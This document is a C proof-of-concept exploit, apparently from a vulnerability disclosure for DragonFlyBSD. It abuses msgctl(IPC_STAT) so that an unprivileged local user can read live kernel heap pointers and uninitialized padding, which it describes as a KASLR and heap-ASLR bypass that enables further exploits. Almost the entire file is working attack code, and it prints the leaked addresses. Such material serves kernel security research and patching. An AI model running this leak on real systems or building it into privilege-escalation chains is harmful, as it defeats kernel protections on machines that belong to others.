DF-0050 / msg_leak.c
/* * DF-0050 PoC - msgctl(IPC_STAT) leaks kernel heap pointers * (msg_first/msg_last) + uninitialized padding to any local user. * * sys_msgctl IPC_STAT (sys/kern/sysv_msg.c:324) does * copyout(msqptr, user_msqptr, sizeof(struct msqid_ds)) * with NO sanitization. struct msqid_ds (sys/sys/msg.h) contains * struct msg *msg_first; (live kernel heap pointer) * struct msg *msg_last; (live kernel heap pointer) * long msg_pad1..msg_pad4 (never zeroed; boot kmalloc has no M_ZERO) * Any local user who creates a queue + sends one message can read the msg * header kernel address -> KASLR / heap-ASLR bypass (exploit enabler). * * Build (DragonFlyBSD): cc -o msg_leak msg_leak.c * Run as an UNPRIVILEGED user. */ #include <sys/types.h> #include <sys/msg.h> #include <sys/ipc.h> #include <unistd.h> #include <stdio.h> #include <string.h> #include <stdint.h> int main(void) { int id = msgget(IPC_PRIVATE, 0600); if (id < 0) { perror("msgget"); return 1; } struct { long mtype; char mtext[8]; } m = { 1, "AAAAAAAA" }; if (msgsnd(id, &m, sizeof(m.mtext), 0) < 0) { perror("msgsnd"); msgctl(id, IPC_RMID, NULL); return 1; } struct msqid_ds ds; memset(&ds, 0x5a, sizeof(ds)); if (msgctl(id, IPC_STAT, &ds) < 0) { perror("msgctl IPC_STAT"); msgctl(id, IPC_RMID, NULL); return 1; } /* msg_first/msg_last are live kernel heap pointers (struct msg *). */ printf("msg_first = %p\n", (void *)ds.msg_first); printf("msg_last = %p\n", (void *)ds.msg_last); /* Dump pad fields - they should be zeroed but may contain boot-time * heap residue if the boot kmalloc at sysv_msg.c:130 lacks M_ZERO. */ printf("msg_pad1 = 0x%016lx\n", (unsigned long)ds.msg_pad1); printf("msg_pad2 = 0x%016lx\n", (unsigned long)ds.msg_pad2); printf("msg_pad3 = 0x%016lx\n", (unsigned long)ds.msg_pad3); for (int i = 0; i < 4; i++) printf("msg_pad4[%d] = 0x%016lx\n", i, (unsigned long)ds.msg_pad4[i]); /* Classify what got leaked: a kernel heap pointer on x86_64 looks like * 0xffff8xxxxxxxxxxx (kernel-map range). */ unsigned long f = (unsigned long)(uintptr_t)ds.msg_first; unsigned long l = (unsigned long)(uintptr_t)ds.msg_last; if ((f & 0xffff000000000000UL) == 0xffff000000000000UL && f != 0) { printf("LEAK: msg_first is a non-zero kernel pointer " "(uid=%d KASLR/heap-ASLR bypass)\n", (int)getuid()); } if (l != 0 && (l & 0xffff000000000000UL) == 0xffff000000000000UL && l == f) { /* single-message queue: first==last */ printf("OK: msg_first == msg_last (single-msg queue)\n"); } msgctl(id, IPC_RMID, NULL); return 0; } |